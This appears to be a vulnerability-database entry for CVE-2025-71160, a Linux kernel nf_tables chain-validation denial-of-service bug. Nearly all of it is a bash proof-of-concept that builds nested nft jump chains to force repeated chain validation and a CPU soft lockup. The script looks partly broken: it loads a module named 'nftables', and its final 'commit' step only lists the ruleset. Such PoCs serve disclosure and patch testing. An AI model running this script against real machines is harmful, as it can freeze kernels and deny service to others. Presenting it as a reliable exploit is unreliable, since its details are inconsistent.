CVE-2025-71160 Linux kernel nf_tables 链验证拒绝服务漏洞

#!/bin/bash # CVE-2025-71160 PoC - nf_tables chain validation DoS # This PoC creates a complex chain jump structure to trigger CPU soft lockup # Load nf_tables kernel module modprobe nftables # Create a simple chain structure that demonstrates the issue nft add table inet filter # Create base chain nft add chain inet filter input { type filter hook input priority 0; policy accept; } # Create multiple jump chains to trigger re-validation issue nft add chain inet filter j1 nft add chain inet filter j2 nft add chain inet filter j3 # Add rules that create overlapping paths causing repeated validation nft add rule inet filter input jump j2 nft add rule inet filter input jump j2 nft add rule inet filter input jump j1 # Add jump chains that create deep nesting nft add rule inet filter j1 jump j2 nft add rule inet filter j2 jump j3 # This creates the problematic validation pattern: # input -> j2 -> j3 (validated twice unnecessarily) # input -> j1 -> j2 -> j3 (requires full revalidation) echo "Rules added. The complex chain structure may trigger soft lockup during nft commit." # Attempt to commit changes - this is where nft_chain_validate() runs nft list ruleset